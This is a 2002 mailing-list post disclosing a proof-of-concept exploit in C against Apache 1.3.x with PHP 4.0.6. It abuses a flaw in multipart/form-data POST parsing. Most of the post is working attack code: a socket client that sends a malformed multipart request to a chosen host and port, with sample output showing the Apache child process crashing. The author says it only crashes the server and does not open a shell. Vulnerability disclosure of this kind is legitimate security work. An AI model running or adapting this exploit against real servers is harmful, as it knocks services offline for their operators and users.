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Apache+php Proof of Concept Exploit
From: "Gabriel A. Maggiotti" <gmaggiot () ciudad com ar>
Date: Mon, 04 Mar 2002 19:18:42 -0300


/*
---------------------------------------------------------------------------
Web:  http://qb0x.net                   Author: Gabriel A. Maggiotti
Date: Febrary 03, 2002                  E-mail: gmaggiot () ciudad com ar
---------------------------------------------------------------------------

Summary
-------
This  is  a proof  of concept exploit for Apache/1.3.x + php_4.0.6.  This 
code exploit multipart/form-data POST requests bug. This code only  crash
 apache deamon, not open any shell or  execute code  in  the remote server. 
PHP supports  multipart/form-data POST  requests  (as described in RFC1867)
known as POST fileuploads.  Unfourtunately there  are  several flaws in the
php_mime_split function that could be used by an attacker to execute  arbi-
trary code. I dont know if the vuln I exploit is a known vuln or not.

Example:
-------

<quote>
[gabi () pluto logs]$ ./apache_php host 80 hi.php
[gabi () pluto logs]$ cat /www/logs/error_log

[Sun Mar  3 02:50:36 2002] [notice] child pid 26856 exit signal Segmentation
 fault (11)

[gabi () pluto logs]$ 
</quote>

Greets:
------
A special greets to Fernando Oubi#a and Sebastian Brocher, good friend  of
mime.
 
A very   special  greets for a  good   friend  and an excellent Security 
Consultant Alex Hernandez!!!

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX     1000
#define PORT    80

char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

int main(int argc,char *argv[MAX])
{
        int sockfd;
        int numbytes;
        int port;
        char *ptr;

        char POST_REQUEST[MAX] =
                "POST ##file HTTP/1.0\n"
                "Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n";
                "Connection: Keep-Alive\nContent-type: multipart/for"
                "m-data; boundary=---------------------------1354088"
                "10612827886801697150081\nContent-Length: 567\n\n---"
                "--------------------------1354088106128278868016971"
                "50081\nContent-Disposition: form-data; name=\"\x8\"";

        struct hostent *he;
        struct sockaddr_in their_addr;

        if(argc!=4)
        {
                fprintf(stderr,"usage:%s <hostname> <port> <php_file>\n",argv[0]);
                exit(1);
        }

        port=atoi(argv[2]);
        ptr=str_replace(argv[3],"##file",POST_REQUEST);
        //ptr=POST_REQUEST;

        if((he=gethostbyname(argv[1]))==NULL)
        {
                perror("gethostbyname");
                exit(1);
        }


        if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
                perror("socket"); exit(1);
        }

        their_addr.sin_family=AF_INET;
        their_addr.sin_port=htons(port);
        their_addr.sin_addr=*((struct in_addr*)he->h_addr);
        bzero(&(their_addr.sin_zero),8);

        if( connect(sockfd,(struct sockaddr*)&their_addr,\
                 sizeof(struct sockaddr))==-1)
        {
                perror("connect");
                exit(1);
        }

        
        if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1)
        {
                perror("send");
                exit(0);
        }

        close(sockfd);

return 0;
}

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